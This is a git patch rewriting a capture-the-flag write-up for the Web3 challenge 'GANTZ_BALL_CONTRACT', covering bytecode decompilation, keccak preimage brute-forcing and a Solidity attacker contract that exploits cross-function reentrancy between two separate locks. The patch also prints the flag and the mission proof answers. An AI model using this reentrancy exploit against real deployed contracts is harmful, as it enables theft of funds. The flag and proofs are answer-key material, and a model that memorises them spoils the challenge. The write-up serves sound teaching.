From 3185f990e8ae250be91fde31df56ceb457b78111 Mon Sep 17 00:00:00 2001 From: Eun0us Date: Thu, 26 Mar 2026 17:33:50 +0000 Subject: [PATCH] write-up: Web3/GANTZ_BALL_CONTRACT/README.md --- Web3/GANTZ_BALL_CONTRACT/README.md | 155 +++++++++++++++++++++-------- 1 file changed, 112 insertions(+), 43 deletions(-) diff --git a/Web3/GANTZ_BALL_CONTRACT/README.md b/Web3/GANTZ_BALL_CONTRACT/README.md index 12f5a59..0b9f23a 100644 --- a/Web3/GANTZ_BALL_CONTRACT/README.md +++ b/Web3/GANTZ_BALL_CONTRACT/README.md @@ -1,50 +1,113 @@ -# GANTZ_BALL_CONTRACT — Solution +# GANTZ_BALL_CONTRACT -**Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}` +| Field | Value | +|-------|-------| +| Category | Web3 | +| Difficulty | Insane | +| Points | 500 | +| Author | Eun0us | +| CTF | Espilon 2026 | -## Overview +--- -Bytecode-only Solidity challenge. No source code is provided — you must reverse -the EVM bytecode to find a **cross-function reentrancy** vulnerability caused by -two separate reentrancy guards instead of one global lock. +## Description -## Architecture +The Black Sphere runs a smart contract that tracks hunter scores. Kill aliens, earn points. +Reach **100 points** and claim your freedom. -- Port 1337/tcp: console (commands: `info`, `bytecode`, `check`) -- Port 8545/tcp: Ethereum JSON-RPC node +But there's a catch: **no source code**. Only the deployed bytecode. -## Step 1 — Reverse the bytecode +- `nc espilon.net 1337` — Challenge console +- `http://espilon.net:8545` — Anvil RPC endpoint + +Reverse the bytecode. Understand the scoring mechanism. Find the exploit. Claim your 100 points. +Escape the game. + +*"Nobody said you had to play fair."* + +--- + +## TL;DR + +Decompile the bytecode to recover the ABI. Find that the contract uses two separate reentrancy +guards (`_stakeLock` and `_rewardLock`) instead of a single global lock. While inside `unstake()`, +`_stakeLock=1` but `_rewardLock=0` — enabling cross-function reentrancy into `claimReward()`. +Brute-force 4 mission proof preimages. Deploy an attacker contract that earns 110 points, stakes +100, then re-enters `claimReward()` from the `receive()` callback during `unstake()`. + +--- + +## Tools + +| Tool | Purpose | +|------|---------| +| Dedaub / Heimdall / Panoramix | EVM bytecode decompilation | +| Foundry (`forge`, `cast`) | Contract deployment and interaction | +| Python 3 + `web3.py` | Storage slot computation for preimage brute-force | + +--- + +## Solution + +### Step 1 — Get the bytecode ```text +nc 1337 bytecode ``` -Decompile with Dedaub / Heimdall / Panoramix. Recover: +> 📸 `[screenshot: console showing the deployed bytecode hex]` -- `register()` — enroll as a hunter -- `claimKill(uint256 missionId, string proof)` — earn points per mission -- `stakePoints(uint256 amount)` — stake points, deposit ETH (1 pt = 0.001 ETH) -- `unstake()` — withdraw ETH, restore points -- `claimReward()` — claim reward if `points + stakedPoints >= 100` +### Step 2 — Decompile -**Key finding:** the contract uses two separate guards: `_stakeLock` (protects -`stakePoints`/`unstake`) and `_rewardLock` (protects `claimReward`). While inside -`unstake()`, `_stakeLock=1` but `_rewardLock=0` — allowing re-entry into -`claimReward()` before `stakedPoints` is zeroed. +Submit bytecode to Dedaub (app.dedaub.com) or run Heimdall: -## Step 2 — Find mission proofs +```bash +heimdall decompile +``` -From contract storage, extract the four `keccak256` target hashes. -Brute-force short string preimages: +Recovered functions: -| Mission | Points | Proof | -|---------|--------|---------------| -| 0 | 20 | `onion_alien` | -| 1 | 25 | `tanaka_alien` | -| 2 | 30 | `buddha_alien` | -| 3 | 35 | `boss_alien` | +| Function | Signature | +|----------|-----------| +| `register()` | Enroll as a hunter | +| `claimKill(uint256, string)` | Earn points per mission | +| `stakePoints(uint256)` payable | Stake points, deposit ETH (1 pt = 0.001 ETH) | +| `unstake()` | Withdraw ETH, restore points | +| `claimReward()` | Claim reward if `points + stakedPoints >= 100` | -## Step 3 — Deploy attacker contract +**Critical finding:** two separate guards `_stakeLock` (slot protecting `stakePoints`/`unstake`) +and `_rewardLock` (protecting `claimReward`). During `unstake()`, `_stakeLock=1` but +`_rewardLock=0` — the window for cross-function reentrancy. + +> 📸 `[screenshot: decompiler output showing two separate reentrancy guard variables]` + +### Step 3 — Find the mission proof preimages + +From contract storage, extract 4 `keccak256` target hashes, then brute-force: + +```python +from web3 import Web3 + +targets = [...] # 4 keccak256 hashes from storage + +wordlist = ["onion_alien", "tanaka_alien", "buddha_alien", "boss_alien", + "cat_alien", "dog_alien", "fish_alien"] + +for word in wordlist: + h = Web3.keccak(text=word).hex() + if h in targets: + print(f"Found: {word}") +``` + +| Mission | Points | Proof | +|---------|--------|-------| +| 0 | 20 | `onion_alien` | +| 1 | 25 | `tanaka_alien` | +| 2 | 30 | `buddha_alien` | +| 3 | 35 | `boss_alien` | + +### Step 4 — Deploy the attacker contract ```solidity // SPDX-License-Identifier: MIT @@ -71,20 +134,19 @@ contract GantzExploit { ball.claimKill(2, "buddha_alien"); // +30 → 75 pts ball.claimKill(3, "boss_alien"); // +35 → 110 pts + // Stake 100 points: points=10, stakedPoints=100 ball.stakePoints{value: 0.1 ether}(100); - // Now: points=10, stakedPoints=100 attacking = true; ball.unstake(); - // In receive(): stakedPoints=100 not yet zeroed → claimReward passes + // In receive(): stakedPoints=100 not yet zeroed → claimReward passes (10+100=110>=100) } receive() external payable { if (attacking) { attacking = false; - // _stakeLock=1 but _rewardLock=0 → cross-function reentrancy + // _stakeLock=1 but _rewardLock=0 → cross-function reentrancy succeeds ball.claimReward(); - // points(10) + stakedPoints(100) = 110 >= 100 ✓ } } } @@ -102,23 +164,30 @@ cast send 'exploit()' \ --private-key ``` -## Step 4 — Get the flag +> 📸 `[screenshot: forge deploy and cast send commands completing successfully]` + +### Step 5 — Get the flag ```text +nc 1337 check ``` -## Key Concepts +> 📸 `[screenshot: console printing the flag after successful reentrancy exploit]` -- **EVM bytecode reversal**: No source code — must recover ABI and logic from opcodes -- **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function boundaries -- **Storage layout**: Dynamic arrays, mappings, and packed slots follow deterministic Solidity layout rules +### Key concepts + +- **EVM bytecode reversal**: No source code — recover ABI and logic from raw opcodes +- **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function + boundaries — a classic vulnerability missed when developers use per-function guards + instead of a global reentrancy lock - **keccak256 preimage brute force**: Short human-readable strings are feasible to brute-force + against known hashes stored in contract storage +- **Storage layout**: Dynamic array elements, mappings, and packed slots follow deterministic + Solidity storage layout rules + +--- ## Flag `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}` - -## Author - -Eun0us